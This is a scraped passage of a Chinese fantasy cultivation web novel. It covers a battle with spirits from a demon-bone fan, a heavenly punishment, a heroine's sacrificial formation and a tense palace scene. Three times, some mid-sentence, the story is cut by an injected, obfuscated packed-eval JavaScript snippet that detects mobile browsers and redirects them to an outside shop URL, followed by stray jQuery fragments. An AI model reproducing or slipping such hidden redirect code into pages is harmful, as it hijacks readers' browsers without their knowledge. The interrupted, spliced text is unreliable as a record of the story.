因人族弱小,天道法则为维护三界平衡,将进入人界的修者的修为限制在中阶十段内,若强行提升修为,则会遭到天道法则的五噬天罚。
而祝炎,是三界中罕见的五灵脉皆属火之人,同境修者中更是无敌。
和他一样,五灵皆为同一属性的还有琉璃和文玉,此刻,白玉京之上,两人见祝炎出手,认为东霜绝无性命之忧,已经转头去拯救那盆快要枯萎的嘉荣草去了。
百姓们见到修行大能和凶魂缠斗,又害怕伤到自己,又架不住好奇心,只得扒着门缝,一看究竟。
在这气氛下,唯有一人格格不入,那就是一直在闻香楼二楼观察局势的苍乐。他靠窗站立,右手摩挲着扇子上两根扇骨的缺口出,虽然眼睛盯着凶魂的情况,而心思却放在了奄奄一息的东霜身上,一个商号的老板,修行废人,竟能引得三位修行大能齐聚,当真是有意思的很呐。
当他思绪回收之时,却对上了自下而上投来的目光,那祝炎已经又解决了两只低阶凶兽,扇骨被他狠狠的踩在脚下,而未能归位,苍乐只好立刻赔笑道:“误会,都是误会……都怪我为了保命,情急之下,才不得已用了法器。”
“你若真是自保,将她打飞就完事了,为何一而再再而三的出手,分明是要取她性命!”
无垢震地,扬起一阵风尘,祝炎想以此展现自己的魄力。可一拳打在了棉花上,苍乐除了被裹了灵力的风吹散了发型,脸上丝毫没有惧意,仍辩驳道:“这可冤枉我了,虽然都说我是麒麟转世,可我真与普通人无异,若非真的危及生命,又怎会放出凶魂呢。”
“这法器凶恶无比,你既没灵力,又不能随心控制凶魂,我今日便收了这扇子,给你另寻一护身法宝。”祝炎说完,左手一抬,掌心出现一只乾坤袋:“这袋子里都是高阶法器,你挑一样,咱俩做个交换!”
交换?上一个要和他做交易的已经半死不活倒在那了。这法器虽说难以控制,却是个真魔境的法器,能保他在此境之下无虞,他怎会傻到和高阶修士交换法器。
“法器凶残却能保他性命,他怎会舍得给你,同修,别和他废话了,直接毁了便是。”东霜调息了片刻,又吞了一些灵药,恢复了些神志,虽然声音虚弱,但眼神中的狠戾丝毫不减。
“诶,我觉得你说的对。”苍乐见东霜正逐渐聚灵,也没打算继续和他们纠缠,毕竟阵师属实邪门,不如给他们放两头高阶凶兽玩玩,只要那祝炎不强行提升境界,自有天罚将这两根扇骨打回原形,心里如此盘算,也就如此做了,直接扔了两根扇骨,拂袖而去。
“哪里跑!”祝炎大呵一声,想要留住苍乐,可是两只高阶凶魂已经直冲他而来。
这两根扇骨一只化为拖着黑气只有上半身的无脸凶魂,此凶魂来自石压地狱,而另一只化为有着人面蛇身百足的血池地狱凶魂,这俩凶魂张牙舞爪,面目狰狞,快速蠕动,直冲祝炎面门。
祝炎手中的无垢只能化棍为盾,牢牢挡住两头凶魂无脑的撞击,紧接着用力一震,将双魂推开数米远,见那麒麟子早就跑远,只能将亏闷撒在这些凶魂身上:“区区小鬼,看我先收了你!再去收拾你主人”。
随即,手中的无垢化盾为剑,手腕挥动,剑影重重,那两头凶魂像两块烧焦的棉花糖一般,被切成了一缕一缕。
然而,魂魄无形,虚无缥缈,被切片的魂魄只需互相靠近,不仅恢复了完全体,还利用自己柔软的身体,变换着各种冷兵器,直与祝炎在空中斗了几十个回合,短兵相接,于东霜而言,只能看到空气中黑红相碰的灵力点,而不见一招一式。
就在双方打的不知天地为何物的时候,一辆疾驰的马车从另一条小街驶出,欲汇入东霜所在的正街,可那拉车的马即便四只脚都在奋力的跑动,连马头都已经倔强的往前抵的面容变形,前方就像有一张怎么都冲不破的无形的网,将马和车困在原地。
马车里的人听见了马崩溃的嚎叫声,车也被马甩来甩去,苍乐直犯恶心,刚拉开车帘,想一看究竟,一柄长矛鱼贯而入,苍乐心脏皱紧,惊险侧身一躲,眼见那长矛刺穿车厢,鬓角也悄无声息的滑过一滴汗珠。
他长吁一口气,将要松弛的脊背突然又紧张起来,脚底下的木板正逐渐裂开,似有东西在啃食,只听得咯啦咯啦的声音,他一个箭步,从马车后门冲出,却像那匹马一样,整个人撞上了一堵空气墙,而身后的马车被从下而上的无数箭矢撑裂,七零八落的散在地上,苍乐摇了摇头,有些惋惜:“这些可都是上好的灵木……可惜了……”
这时,在一片狼藉中,缓缓露出了箭阵的真面目,可不就是东霜之前使过的金刚阵,如今换他被困在里面了。
苍乐无奈的举起扇子又挡了根箭矢,只见那布阵之人,竟还坐在那调息,好像这阵法与她无关似的。
这金刚阵中的箭簇冷不丁的从四面八方袭来,苍乐顿感烦躁,又扔了根扇骨替他清扫障碍,这才有喘息之机,对着仍盘腿而坐的东霜,嘲道:“你就这点本事?”
东霜冷笑一声,这才睁开眼睛,缓缓起身,顺手又给阵法加了几道杀招,挑衅道:“难道你也就这点本事,还能被我困住不成?”
东霜左手还捏着阵,眼见那阵中凶魂不顾利剑强雷,强行突围,金刚阵那微不可察的灵力墙出现了几道裂缝,她将灵气聚于右手一点,将阵中的两块灵石换了个阵位,顿时,法阵中的灵力不仅如瀑布般倾泻而下,阵中手拿大刀的金刚还将破阵的凶魂砍成了扇骨。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241467|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
苍乐看了眼手中的扇子,十八魔骸扇如今剩十一根扇骨可用,原本以为那女子不过低阶修为,阵法即便厉害,也不该高于她本身的修为,可如今低阶扇骨全都偃旗息鼓,自己又急于脱身,索性直接将三根中阶扇骨抽了出来,握在手中晃了晃,道:“不知道这次你还能这么幸运的活下来吗?”
话音落下的同时,金刚阵由一点牵动全阵,如蛛网般扩散,瞬间结冰,变成了一块空心冰雕,突然,一只长着三个牛脑袋的凶魂破冰而出,东霜也随之嘴角渗血,手中的阵法已经逐渐溃散。
那牛头虎身凶魂,眼睛直勾勾的盯着东霜,仿佛东霜是一块红布,踏着蹄子做跑前准备,随即飞一般的冲了出来。而东霜面对这庞然大物,双脚却突然不能动弹,原来那冰不知何时冻住了她的脚。
那冰带着寒冷和恐惧正缓缓侵蚀她的身体,她反手将金刚阵布在自己脚下,可毕竟境界和灵力悬殊,还未启阵,阵法就破了,布阵的灵石被凶魂吞食,反倒加剧了她的冻结。
她看了眼祝炎,祝炎已经转攻为守,那两只高阶凶魂合二为一,不仅灵力大增,还将祝炎的打法全学了去,一手持刀,一手持盾,一刀一刀,将祝炎打的节节败退。
东霜的下肢已经冻到麻木,面前还有朝她冲来的牛头,万物阵中的法器、灵草、灵药被她翻的掉了一地,终于在角落找到了一片落了灰的花瓣--芳菲尽。这是文玉给她准备的保命法器,也是她的底牌了。
“芳菲尽,桃花开,散!”
一位桃花灵破花瓣而出,用手点了点方向,万千桃花花瓣包裹住硕大的牛头凶魂,瞬间将它蚕食殆尽,连扇骨都没了。
那桃花灵又分了一缕桃花,想破东霜身上的冰封,却不知如何下手:“这冰就是怪物的本体,我若强行破冰,会伤害到你。”
“让我来!”祝炎吼道,只见无垢浮在他胸前,双手施法,随着一阵灵力起伏,人界禁制被强行破开。
随之,他手持无垢,利落一斩,两头凶魂变回了两根扇骨,连同此前他擒获的扇骨一道,投入无垢净火中,烧成了灰。
虽然东霜正处在水深火热之中,但眼见祝炎回到完全体后竟然有一瞬的失神,连无垢都从普通剑变成了独家定制版,也就是传说中整柄剑燃烧着永不熄灭的无垢净火的四大神剑之一。
祝炎将冒着火的无垢对着东霜,只稍露出个火舌,东霜下肢的冰瞬间消融,眼见那冰山地狱的凶魂也被燃烧殆尽,这才松了口气,至于那放凶兽的源头,她已经无暇顾及了,整个人再次灵力耗尽,完全靠着一丝念力支撑,才得以站着。
然而祝炎刚刚破了禁制,他势要将那魔骸给毁了。他仰天长啸,余震千里:“麒麟小儿何在,让我好好教你做人!”
东霜在余音之下默默嘀咕:“狠狠的教,最好杀了他。”
5. 爱之劫·上篇5
在东国,祝余山作为皇权背后的势力,修仙届的掌舵者,天下发生的一应大小事情都在他们掌握之中,如今,高阶修者突破禁制,在人界互殴,打的还是麒麟子,不管出于何目的,高低都得来看看。
祝余山的使者到的时候,低空的最佳观赏位被守门人占据了,其余人则密密麻麻的挤在附近,整条街也已经被禁军团团围住,使者只能找了个临街的高空位,盯着下面的情况。
原本在施法救仙草的文玉,感受到祝炎灵力波动,也伸着脑袋一探究竟。
琉璃两耳不闻窗外事,但文玉见此状况,有些蠢蠢欲动,但又有些顾虑,便先试探性飞了片叶子去东霜耳边传声:“要帮忙吗?同修?”
“有祝炎在,就不劳您大驾了。”说罢,双指轻松一捏,叶子瞬间消散。
文玉听到这个回答有些意外,对身后的琉璃开玩笑:“诶,你看这丫头,抱到大腿就不稀罕我们了。”
琉璃还在观察嘉荣草的状态,淡淡一笑:“虽然我不赞成祝炎的做法,但不可否认,他是我们几个人中武力最强的,有他在,确实不必出手了,倘若连他都摆不平,那我们去了也是徒劳。”
“最强?哈哈哈,他都被那人界小子打飞了!”文玉靠在窗口笑的合不拢嘴。
祝炎原是去追麒麟子去了,此刻,却变成了一颗流星,直接从文玉和东霜眼前飞了过去。
东霜愣愣的看着不远处被猛击在地不得动弹的祝炎,问道:“同修,什么情况?那麒麟子还藏着杀招?”
祝炎花了九牛二虎之力好不容易扶棍起身:“那小子被天魔境的魔骸反噬了……”
话未说完,长街深处传来了苍乐撕心裂肺的叫喊声。
“救……啊!……救命……啊!”
“将你的灵魂献给我吧!”
沙哑的求救声和凶魂深沉的索命声回荡在长街之上,然而,却无一人出手。
东霜于心不忍,心上产生了一丝隐痛,她看向祝炎:“不去救他吗?”
而祝炎已经用行动作出了表示,他使出一招星火燎原,远看如白日焰火,可只稍沾上零星火点,便会立刻被燃烧殆尽,剩一缕青烟。
那凶魂起初被烧的七零八落,可谁知,烈火成了他们的养分,使凶魂再次融合,变得更加强大,一击,就把祝炎锤的筋骨尽断,再击,五灵碎裂,三击,境界跌落。
又一片叶子飘落在东霜肩头,文玉着急的喊道:“快让他停手,再这么下去,非死即残,还修什么道。”
那叶子裂开了一条缝,随即吐出了好些灵药:“这药能助他修复五灵。”
东霜颤颤巍巍走到祝炎身旁,他活像一滩肉泥,四肢扭曲,头不是头,脚不是脚。东霜用自己仅剩的灵力将所有的灵药渡过他。
渡药之时,又看了一眼远处街心的苍乐,凶魂已经钻入他的身体,在他身体里游走,似要强行逼出他的灵魂。
祝炎吸收了药效,调息了片刻,竟容光焕发,又拿起无垢,活动了下肩膀,跃跃欲试。
东霜见状,徒手拦住了他:“真不要命了。祝余山的人就在附近,他们都没出手,你却上赶着为他送死。”
“其他人我管不着,但我乃火之传承者,生来就是要除魔卫道、保卫苍生的,就算是身死,也不能眼睁睁看着凶魂在我面前杀人啊!”
话音刚落,就冲出去和凶魂打了几个回合,但,很快,祝炎再次被打了回来,随之而来的还有一股霸道灵力。
这灵力来势汹汹,在场之人都受到了这股灵力的入侵。
起初只是身体酥麻,似有无数虫子啃食□□,东霜立刻唤醒芳菲尽,桃花花瓣将东霜层层围住,可灵力太过霸道,不过顷刻,法器碎裂而亡,连桃花灵都魂飞魄散。
高阶法器都抵挡不住的灵力,东霜区区低阶修士,又如何挡住。
紧接着,那股霸道灵力像开了水阀一样,冲撞着灌入身体,沿灵脉而走,所到之处,如剜肉刮骨。
在灵力铺满身体各个角落后,似有一双无形的手,将每一处骨节扯开,掰断,揉碎。
血脉喷张,直冲天灵,脑袋像一个快被撑爆的气球,越是挣扎,疼痛愈烈。
原来这就是天罚的五噬之刑。
东霜胃里翻涌,嘴里满是铁锈味,随即一口鲜血喷射四溅。双手翻转,垂在身侧,使不上力,没有任何知觉,她费力的想去摸索灵石启阵,但最后只有脑袋歪斜着动了一下。
天罚的痛苦成倍施加在她的皮肤上,骨头上,脑袋上,还有那颗石心,剧烈的跳动,第一次感受到了心痛。
可求生的本能让她不得不抵抗这股力量。
四周交头接耳的声音穿透了她的天灵盖,本就痛到爆炸的头又叠了层烦躁。
本用术法掩盖踪迹的修行之人见天罚不危及自身,纷纷显露真身,甚至有几位胆大的百姓双腿哆嗦试探从她面前跑去,又扑通一声跪倒在地。
而东霜看了眼自己的腿,双腿麻木,好像失去了下半身,可身体又结结实实的被支撑着。脑袋僵硬的一歪,用余光看到了百姓朝拜的东西。
数道红光穿透正蚕食苍乐身体的黑色鬼面凶魂,在咆哮声中,天魔境凶魂变回了扇骨,那扇骨还未落地便化为尘埃,原来是麒麟的灵体显化了。
麒麟警惕着周围,在天罚之下挣扎,四足死死的抓地,护着身下苍乐的残躯,不让任何危险有机可乘。
百姓纷纷聚集朝拜,哪管什么肢体破碎,凶魂天罚,只齐齐高呼“请麒麟神庇佑!”
有好事之人,用灵力探了探苍乐的气息,对话无故传入东霜耳中:“那人身体残缺,早已没了气息,这麒麟为何还护着。”
“护犊子呗,传闻开国皇帝就是麒麟之身,看着情况,想必是返祖显化,后代遭如此变故,护一下肉身也是正常的。”
东霜听着这些话,翻了个白眼,这些人真是站着说话不腰疼。
麒麟现世,竟让天罚的威力变小了,她的四肢酸软,可明显是疏通了,拿出灵石,乘机起了个引灵阵,妄想吸收天罚之力,增强金刚阵的威力。
天罚携带的灵力缓慢流入她的五灵,如春风吹拂,不仅缓解了疼痛,还让她灵力大增,有破境之势,然而,当灵力满溢,想收阵的时候,这阵法却不受她控制了,阵中灵石无序变换,灵力像洪水一般冲入。
这股借来的灵力与天罚之力在她体内相融,又相互撕扯,东霜如提线木偶般腾空而起,面目狰狞,七窍流血,四肢被四个方向拉扯,呻吟哽在喉咙里。
“无垢,去。”
无垢化茧,将东霜包裹其中,可效果甚微,不过挨了天罚几下,无垢竟变回了它的本体--小木棍,钻进了祝炎怀中。
祝炎隔着衣服轻抚着无垢,心疼的同时暗骂了一声天道不公!
然而,更倒霉的还在后头。
麒麟的灵身终是抵不过天罚之威,享受过甜头的身体,再也承受不住天罚带来的痛苦。
东霜如一只断线木偶,从空中垂直落下,奄奄一息。祝炎在天罚重压之下,双膝陷地,双手仍施法反抗,回应他的只有更重的五噬惩罚。而苍乐,已经感受不到疼痛了。
半空之人见麒麟消散,深怕被波及,再次隐去了身形,冷眼看着事态发展。
东霜残存一息,眼前逐渐模糊,任由天罚在她身上肆虐,再无力反抗,脑中几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241468|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次浮现出“就这样吧,快结束吧”、“死了就不会痛苦”的念头,她有一瞬间恍惚,不明白此前拼命修行到底是为了什么,人活一世,何不就如此这般过下去。
“同修!挺住!”
祝炎一嗓子将她的神志拉了回来,不行,她一定要活下去。
祝炎顶着天罚缓慢蠕动到东霜身边,灵力耗尽,才帮她分担了些许,嘴上不停的鼓励她:“同修,撑住啊,你就当作是破境的劫数了,挨过此劫就是新生!”
破境?破镜要这般痛苦吗,也许她真的把修行想的太简单了,即便她求生意志如此强烈,也已经没有力气回应祝炎,只听得祝炎一直在她耳边嗡嗡的,声音离她越来越远。
天昏地暗,天罚一道道的鞭打地上的身躯,也只有此时,才能分辨哪边是天,哪边是地。若此时有一颗萤火虫在天地之间穿梭,想必研究萤火虫如何在天罚之下生存要比欣赏受罚者的姿态更有意思。
巧合的是,正有两只萤火虫从高空飞落,在空中留下两道清亮的弧线,其中一只落在苍乐身上,另一只落在东霜身上,那萤火虫一分为五,停在两人五处重要穴位上。
待旁观者定睛一看,指指点点声又从角落里钻了出来。
“那是琉璃尊者的佩剑草木青,琉璃尊者竟也在此处。”
“琉璃尊者作为天池山嫡传弟子,竟然也插手天罚,真是玷污天池山的圣名。”
“哼,简直丢仙家的脸面。”
一句句污言秽语传入东霜耳中,还有气息不稳但声音依旧浑厚的叫喊声,都混在逐渐清晰的痛楚中:“醒醒啊!同修!救救我啊!琉璃!”
东霜猛的睁开眼,瞪着祝炎,慢慢的爬起来,盘腿而坐,机械又僵硬的拿出四枚高阶灵料,歪歪斜斜的摆在自己的四周。
祝炎和其他在场之人一样,都不明白她要做什么,紧紧的盯着她的一举一动。
东霜低头看了看心脏处封了她心脉的那根粗银针,迟疑片刻,一发狠,将整根针推入心脏。
身体经历了短暂的麻痹后开始剧烈的抖动,随后,她面如枯槁,肤如枯木,迅速衰老,石心离体,包裹着石心的是纯金色的灵力,像初生的太阳。
她右手颤抖着,从石心中引出一缕灵力,左手启阵:“艮火开休门,离土开景门,巽水开生门,坤木开伤门,以吾乾金,开死门。”
“金刚,御!”
当众人还处在懵懂中时,东霜脚下已经出现了一幅八卦五行四象阵法图,阵法不断扩大,环绕在东霜身边的四枚灵石在她的指引下嵌入正确的方位。
一位身穿铠甲,与天同高的怒目金刚从阵中起身,右手拿着双板斧,一斧劈向天际,昏暗的天空被劈成了两半,泄出一丝天光。再一斧,斩断天罚之威。
灵力余波吹散了乌云,左手下已经形成了一个鸟笼状的灵力罩,阵法所到之处,皆受庇护。
落日余晖洒在东霜身上,枯木逢春,她抬头看了一眼破天斩,嘴角一勾,区区天道!
视野落下的时候,看到了远处的苍乐,虽然血肉模糊,好在身体保住了。
她又扭头看了眼身边的祝炎,凝神聚灵后又活动了一下筋骨,连无垢都从他怀中出来了,变成了他手中的一根长棍。
她若有所思的看着远方,又低头叹了声气:“这下你们都欠我的了,记得还啊。”
“那必须的!”祝炎说完,刚想上前问她叫什么名字,脚还没迈开,她已然化为灵子弥散在阵法之中,一柄缠布长剑悬于阵中,将灵子尽数吸收。
“竟然是,献祭阵法。”祝炎伫立在原地久久不能回神。
他原是来救她的,可她却因救他而死?
6. 爱之劫·上篇6
东方鱼肚白,高墙红砖下,青色的小人挑着担,推着车,找着一处紧挨宫门口的位置,铺开装备,不一会,那蒸笼里飘出了混着油腻肉香的蒸汽,一揭开盖子,仿若天上仙的青色小人,拿着一双长长的木筷子,在试探包子的熟度,油已经渗透了包子皮。
在曙光之前,宫门口两边已经整齐的出现了一条由早餐摊铺成的上值大道。
“老板,来碗面,再来个透油大包子。”
“好嘞~来咯~”
每天第一批客人都是东国言官,他们每次都会在包子刚蒸熟的时候就出现,然后一直吃到太阳升起,摊子散去。
他们监管百官,直言劝谏,故,要将肚子填个十分饱,才能舌战群儒。
这几日,他们吃的尤其多,因为朝堂出了件大事。
一墙之隔的皇宫内,守卫军连续三日轮值,一刻都不敢懈怠。
文耀殿内躺着东国帝后最宠爱的皇子--苍乐,以及一位不明身份的女子。
三日前,天罚结束后,琉璃将东霜和祝炎带回了白玉京,苍乐也被祝余山的人带回了皇宫。
琉璃以琉璃心之力,用回生术法重构东霜的三魂七魄,这是她和东霜的交易。
要她引封印中的神力,保住麒麟肉身,事成之后,以琉璃心助她破境,只是没想到她竟以自己祭阵。
唯一被蒙在鼓里的祝炎,知道情况后,先骂琉璃无情,又将矛头转向了文玉:“她好歹是你看着长大的,再冷漠也不能袖手旁观啊!”
“我怎能不心疼,几次都想出手,可琉璃在这监督我呢,你又不是不知道琉璃的为人,规行矩步,修行典范,况且我也受到了天罚的波及,只是不像你,直接跌落三个境界。”
“三个境界和命相比,算得了什么!”祝炎仍旧愤愤不平,见东霜肉身重聚,琉璃却停了动作,诱惑又担心:“她和麒麟一样是不死之身?你为何不继续救她?”
琉璃定了定气:“这么多问题,你让我先回答哪个?”
琉璃选择哪个都不回答,反倒问起了文玉:“将麒麟带走的,是不是崇阿?”
“用鼻孔看人的,除了他还能有谁。”
话刚说完,崇阿就从地上钻了出来,以土化形,背着手,昂着头,扫视了一圈,将百炼石扔在桌子上:“这是太子殿下答应那女子的。另外,还请琉璃尊者移步。”
“你现在把琉璃叫走,她怎么办?”文玉有些看不懂这个局面。
琉璃帮腔道:“你我应该都收到师门指令,要保住麒麟肉身,而她帮我们保住了麒麟肉身,理应是大功一件,不如将她一起带走治疗。”
“随你,我的任务是带你进宫。”
……
文耀殿前,太监宫女站在门口候命,打着瞌睡,摇摇欲坠,仍要迎来送往,虽然多了些生面孔出入文耀殿,不过,其中一位他们再眼熟不过,便是那祝余山上的修仙大能崇阿。
他一迈入殿中,便朝着文玉走去:“进展如何?”
“琉璃仍在殿内医治,东西带来了吗?”
崇阿抬手,五颗高阶五行灵石在他手中流转:“你倒是急切,那女子来路不明,你还真把她当自己女儿了?”
“有何不可?本就是我从小养到大的。”
难得看见文玉力争,不免生了好胜之心:“有时候真的不懂你,我们五人之中,当属你悟性最高,当初那么多仙魔大门向你伸出橄榄枝,你全都给拒了,后来仙魔大战,祝余山想请你入仙道,你又以”要带孩子为由“又给拒了,如今又因她引来了天罚……”
崇阿向来唠叨,但既然说到这次的事,文玉及时打断了他:“诶,你搞清楚,是因为你给麒麟子魔骸扇,他放出了凶魂,才会有这许多祸事,若是你们祝余山早早出手,麒麟子的肉身又怎会残缺,又怎会让我家东霜献祭,追根究底,你的师门才是罪魁祸首。”
“放肆,祝余山乃仙门领袖,你怎可不敬!”
“我又不是仙。”
“你!”
崇阿怒目圆睁,自知没理,便看了眼祝炎,想找他评理,谁知他两耳不闻窗外事,压根不理他们,整个人出奇的安静,双眼发直的看着殿内。
他发出了一声不屑,也不再与文玉争辩,三个人谁也没理谁,安静的等着殿内的人出来。
殿内被他施了护符,任何人都不得入内,除非有人从里面解开符咒。
直到夜半时分,殿内的门才缓缓打开,琉璃信步走出,和大家互通了一下情况:“麒麟子的身体保住了,只待灵魂归位。”
“要多久?”崇阿问道。
他的语气天然带有一种质疑,琉璃有些愠怒:“急的话,可以试试你的招魂符咒。”
“可招魂符会招来……”
文玉不想听他废话,再次打断了他的话:“琉璃尊者,东霜如何了?”
她微微蹙眉:“东霜的情况有些复杂。虽然至纯的五行灵石可以帮她破镜,以此保住性命,但经过此事,石心的封印变本加厉,封印不解,即便修行至半神,也有性命之忧,此事,我已拜托崇阿询问祝余山长老,不知可有解决之道?”
崇阿犹豫着。祝炎急的上前握住了他的手臂,偏偏他天生劲大,触发了崇阿的自保机制,一道灵力将祝炎的手弹开。
与此同时,无垢已经横在祝炎身前,等他握住,随时准备打架。
三盆冰水从天而降,猛的浇在三人头上,三人头上悬着的是琉璃草木青的银针,银针的尾部还在释放寒气,她施着法,但语气柔和:“冷静了吗?白天就听你们吵吵,吵了快百年了,也不嫌累。”
裹着水灵力的冰水,对草木来说,可是生命之水,文玉全身开满了花草,他甚至举了只瓶子在银针之下:“再来点,再来点。”
琉璃满足了他,文玉小心翼翼的收起了这个宝贝瓶子,欣然道:“琉璃,此话也得还给你,你和祝炎不也一见面就不对付,毕竟天性使然~”
琉璃闭眼叹了口气。
“我以祝融发誓,倘若这次琉璃尊者救了东霜,以后琉璃尊者说一,我绝不说二!”祝炎晃了晃他浸湿的脑袋,带着脑袋上升腾起的蒸汽,又转而对着崇阿恭敬道:“还请崇阿告知接触封印的方法。”
崇阿清了清嗓:“石心上的封印是二重封印,第一重是七情印,第二重是五行印。两重封印需同时解开,否则,形神俱灭,不入轮回。”
“不入轮回作何解?”琉璃问。
崇阿也疑惑了:“我以为,你知道石心蕴含神力,能对抗天劫,才会让她献祭。”
“我原以为是封印中蕴含神力。”
崇阿摇了摇头:“这石心和封印都来的蹊跷,据家师所说,她的出现,可能与四相天柱有关。”
“何为四相天柱~?”这声音娇柔,空灵,没有实感,仿佛来自深渊。
四个人面面相觑,身为修行中人,虽早已对鬼神祛魅,但这声音还是让人背后发毛。
祝炎提起无垢,一转身没看到人,紧了紧手中的无垢,问道:“何人在装神弄鬼。”
“是我啊~同修~”
祝炎眼珠子左右转,却忽略了上方,一张脸已经从上面掉了下来,和祝炎四目相对:“同修~”
祝炎吞了口口水,一下跳出八米远,声音还是那么响亮:“啊!鬼啊!真有鬼啊!”
“东霜,祝炎这胆子可不经吓。”
祝炎拍了拍胸脯,正色道:“我可是天不怕地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241469|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不怕的火之传承者,鬼魅见我才会怕!不过,东霜怎么变成灵体了?”
东霜身体轻飘飘的,到吊着看每个人脸上的表情各不相同。
琉璃解释道:“这是献祭的后遗症,灵肉分离。虽然保住了性命,但灵体却一直不能和身体融合,也许只有助她破境之后,才能彻底恢复。”
东霜飘到崇阿身上,下半身像果冻一样缠绕着他的腰部。崇阿面如黑铁,双手贴符,胡乱抓着,可手穿过灵体,只抓到了空气。
东霜笑了一下,动作变本加厉,双指轻捏他的下巴:“别费劲了,我现在是无敌状态。同修,你刚刚说的四相天柱是什么?能解开我的封印吗?”
崇阿黑着脸,嘴唇紧闭,瞪着文玉。
“哈哈,你也有这天。”文玉拿了根藤蔓敲了下东霜的脑袋:“快下来,五灵石还在他手上呢,小心他不帮你破境。”
东霜双手平举作投降状,收起自己的尾巴,自个乖乖的竖在一旁。
崇阿这才说话:“我哪有这么小心眼。”
他恢复了神色,继续说道:“自神魔大战后,神陨落,仙避世,天道法则之下,仙魔之力本应平衡,但浊气打破了天道平衡,不仅诞生了邪修,还对修魔一道多加裨益。这浊气便是来自四相天柱。”
”四相天柱,据长老而言,乃是上古魔神的灭世阵法,本应由五位五脉至纯之人驻守,但,金灵凋敝,阵法不全,只得四相。”
文玉问道:“那是何人为之,难道他想灭世?”
祝炎挪了挪步子,凑近大家,一脸神气:“那岂不是到我发挥的时候了。”
东霜绕着祝炎游了一圈:“同修,都要灭世了,哪还有你发挥的空间,除非,你成神。我听说神可以创世。”
崇阿先一步祝炎接过话茬子:“我派掌门认为,这四相天柱乃是应天道而生,种种因果,才造就如今的局面。”
“你家掌门还挺会说废话的。”东霜在房间内飘来飘去,这可比带着肉身自由多了,她继续道:“那与我体内的封印有何关联?”
“你莫要打断我,我正要说到此事。”崇阿喝了口水,挺了挺腰:“掌门说了,五行印的破解之法与四相天柱息息相关,而七情印则是五行印的伴生劫。能解五行印便能解开七情印。”
“我怎么嗅到了阴谋的味道?”
东霜说的漫不经心,虽然身体像幽灵,可眼神射出的刺实打实的命中了崇阿。
他假咳了一声:“这分明对你百利无一害,姑娘的生意遍布东国,这笔买卖对你来说是极划算的。”
东霜不语,其余几人则面面相觑,崇阿此人,没坏心,但说出的话却让人着实不爱听,他们四人认识近百年,关键时刻总要为他找些托词,如今在场都是自己人,他们也懒得为他解释。
可东霜不是这么想的:“我说这位祝余山的大弟子,我这封印不解也行,灭世对我来说就更无所谓了,无非就是个死,现在是你们非要拉我入局,用我的封印帮你们破阵,你这话里话外倒是我占了你们的便宜。”
崇阿也没想到,这后生如此步步紧逼,一而再再而三的给他难堪。
但她说的也没错,崇阿有些心虚,可话到嘴边,仍充满了傲慢:“倘若姑娘能帮这个忙,以后修行,我祝余山可成为姑娘助力。”
“倘若我修魔呢?祝余山也能助我成为魔道大能嘛?”东霜挑衅道。
如此蔑视仙家威严,崇阿哪里还能忍,双拳紧握,土地震颤,怒气混着灵力在周身显现:“黄毛小儿,若非你护住了麒麟肉身,给你些薄面就如此不知好歹,管你是人是鬼,我今日定要好好教你些规矩。”
祝炎见此,双拳已经点燃火焰,这次定要保护东霜。
7. 爱之劫·上篇7
时至深夜。整座皇宫灯火通明,与宵禁的街巷格格不入。御书房内时不时传出呵斥声,让门外的太监宫女浑身紧绷,瑟瑟发抖。
而文耀殿外则一片祥和,外面的人有伏着台阶打瞌睡的,也有靠着门窗陷入深睡的,他们已顾不上许多,再不找机会睡觉,怕是小命不保。
殿内依旧是剑拔弩张的状态,唯有东霜,像鱼儿一般在殿内游荡,一会又在殿内东看看西看看,品鉴苍乐收藏的法器,一会在横梁上穿梭盘旋,居高临下的看着底下由自己挑起的纷争。
她很喜欢自己的灵身状态,无忧无虑,无坚不摧。自己毕生所求,也不过如此。
虽然无垢可化作世间所有兵器,但祝炎的看家本领却是朴实无华的无垢棍,此时他已经手持长棍,蓄势待发。
文玉拿了根藤条作壁上观,倒是不见崇阿的法器。
又一盆水从天而降,连带东霜都受了牵连,水从她的灵身泻下,滴在地上变成了尖刺,这水对东霜来说没有实感,没有温度,可水中携带的灵力也着实让她灵躯一震。
其他人也如是,偃旗息鼓,神色尴尬,不知如何下台。
水灵力擅疗愈,有定神之效。琉璃施了术法,草木青变为数根银针,提溜着东霜的灵身回到了殿内,琉璃紧随其后:“先把正事做了,若你们还要切磋,大可上祝余山的留剑擂台去比试。”
这话一出,让祝炎和崇阿更加无所适从。
